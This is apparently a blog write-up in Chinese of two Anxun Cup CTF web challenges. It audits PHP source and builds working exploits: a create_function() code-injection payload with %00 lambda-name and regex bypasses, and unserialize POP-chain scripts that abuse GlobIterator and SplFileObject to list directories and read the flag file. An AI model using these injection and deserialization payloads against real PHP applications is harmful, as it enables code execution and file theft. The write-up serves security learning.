gi4ntHaRd
安洵杯WEB
what’s my name
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php highlight_file(__file__); $d0g3=$_GET['d0g3']; $name=$_GET['name']; if(preg_match('/^(?:.{5})*include/',$d0g3)){ $sorter='strnatcasecmp'; $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){ $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);'; @$miao=create_function('$a, $b', $sort_function); } else{ echo('Is That My Name?'); } } else{ echo("YOU Do Not Know What is My Name!"); } ?>
|
此时我们可以通过代码审计得知如若要使得最后得@$miao=create_function('$a, $b', $sort_function);
产生代码执行的话我们就必须满足上面的两个if条件if(preg_match('/^(?:.{5})*include/',$d0g3))
和if(strlen($d0g3)==substr($miao, -2)&&$name===$miao)
构造攻击代码
那么此时我们先从最后的代码执行入手,先构造攻击代码
此时我们知道reate_function()
函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况;此时根据下面这篇文章我们来构造攻击代码
代码审计之create_function()函数 - 卿先生 - 博客园 (cnblogs.com)
可知
1 2 3 4 5 6 7 8
| $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);'; @$miao=create_function('$a, $b', $sort_function); @$miao=create_function('$a, $b', ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);');
匿名函数的执行: function miao($a,$b){ return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]); }
|
那么此时经过我们的构造传入?d0g3="]);}phpinfo();/*
后;整个匿名函数的执行会变成
1 2 3 4 5
| function miao($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();
|
因为create_function()
函数会在内部执行 eval()
那么此时便会执行eval(phpinfo())
造成代码攻击
preg_match的绕过
接下来我们开始考虑绕过问题;此时我们从第一个if入手if(preg_match('/^(?:.{5})*include/',$d0g3))
此时需要第五个字符后出现include
那么此时我们直接在我们原先构造的payload的第五个字符后面直接加入include
即可成功实现绕过
strlen($d0g3)==substr($miao, -2)的绕过
此时要求我们输入的$d0g3
长度等于$miao
的最后两个字符相等;此时我们输入的?d0g3="]);}include(phpinfo());/*
共计26个字符,那么此时的考点在于匿名函数的名字是有规律的;此时运行一次便会加一
那么此时的满足strlen($d0g3)==substr($miao, -2)
就很容易了;我们直接执行payload25即可成功满足
$name===$miao的绕过
此时我们在本地运行时会发现匿名函数的名字前面会有一个空字符;我们直接使用%00
来绕过最后这个强比较
payload
1
| ?d0g3="]);}include(phpinfo());/*&name=%00lambda_26
|
easy_unserialize
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| <?php error_reporting(0); class Good{ public $g1; private $gg2;
public function __construct($ggg3) //new时触发 { $this->gg2 = $ggg3; }
public function __isset($arg1) //在不可访问的属性上调用isset()或empty()触发 { if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2)) { if ($this->gg2) { $this->g1->g1=666; } }else{ die("No"); } } } class Luck{ public $l1; public $ll2; private $md5; public $lll3; public function __construct($a) //new时触发 { $this->md5 = $a; } public function __toString() //对象被当作字符串调用时 { $new = $this->l1; return $new(); }
public function __get($arg1) //从不可访问的对象中读取数据 { $this->ll2->ll2('b2'); }
public function __unset($arg1) //在不可访问的属性上使用unset()时触发 { if(md5(md5($this->md5)) == 666) { if(empty($this->lll3->lll3)){ echo "There is noting"; } } } }
class To{ public $t1; public $tt2; public $arg1; public function __call($arg1,$arg2) //调用不存在的方法时触发 { if(urldecode($this->arg1)===base64_decode($this->arg1)) { echo $this->t1; } } public function __set($arg1,$arg2) //设置不存在的成员变量时调用 { if($this->tt2->tt2) { echo "what are you doing?"; } } } class You{ public $y1; public function __wakeup() //使用unserialize时触发 { unset($this->y1->y1); } } class Flag{ public function __invoke() //将对象当作函数来使用时执行此方法 { echo "May be you can get what you want here"; array_walk($this, function ($one, $two) { $three = new $two($one); foreach($three as $tmp){ echo ($tmp.'<br>'); } }); } }
if(isset($_POST['D0g3'])) { unserialize($_POST['D0g3']); }else{ highlight_file(__FILE__); } ?>
|
反序列化链子的寻找
此时我们开始寻找反序列化链子;此时我们把链尾定格在class Flag
类中
array_walk
函数对数组 $this
中的每个元素应用指定的回调函数。回调函数接收两个参数:$one
为当前元素的值,$two
为当前元素的键。看到这里可以马上想到原生类利用攻击
所以此时我们将其暂时定为链尾;接下来要触发__invoke
的条件是当对象被当作函数调用时;此时我们就可以定位到Luck
类中的__toString()
此时$l1
会被当作函数进行调用;而我们知道当对象被当作字符串输出时会触发;所以此时我们依旧定格在Luck
类的__unset($arg1)
上面;此时的函数会将md5
当作字符串进行处理;此时我们继续往下面看;我们知道unset
的触发是使用unset()
时触发;所以继续定位到You
类的__wakeup
上面;此时使用了unset($this->y1->y1);
会导致Luck
类上的unset
被触发;至此整条pop链子已经构造完毕
反序列化链子
1
| You_wakeup() -> Luck_unset() Luck_toString() -> Flag_invoke()
|
反序列化之遍历文件目录类
上面提到根据最后一个Flag类中的方法我们可知可以构造原生类攻击
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| class Luck{ public $l1; public $md5;
} class You{ public $y1; public function __construct(){ $this->y1 = new Luck; } } class Flag{ public $GlobIterator; }
$a = new You; $a->y1->md5 = new Luck; $a->y1->md5->l1 = new Flag; $a->y1->md5->l1->GlobIterator="../../../*"; echo urlencode(serialize($a)); ?>
|
此时成功得知flag的目录
反序列化之读取文件类
此时成功遍历文件目录后我们直接读取文件即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class Luck{ public $l1; public $md5;
} class You{ public $y1; public function __construct(){ $this->y1 = new Luck; } } class Flag{ public $SplFileObject; }
$a = new You; $a->y1->md5 = new Luck; $a->y1->md5->l1 = new Flag; $a->y1->md5->l1->SplFileObject="/FfffLlllLaAaaggGgGg"; echo urlencode(serialize($a)); ?>
|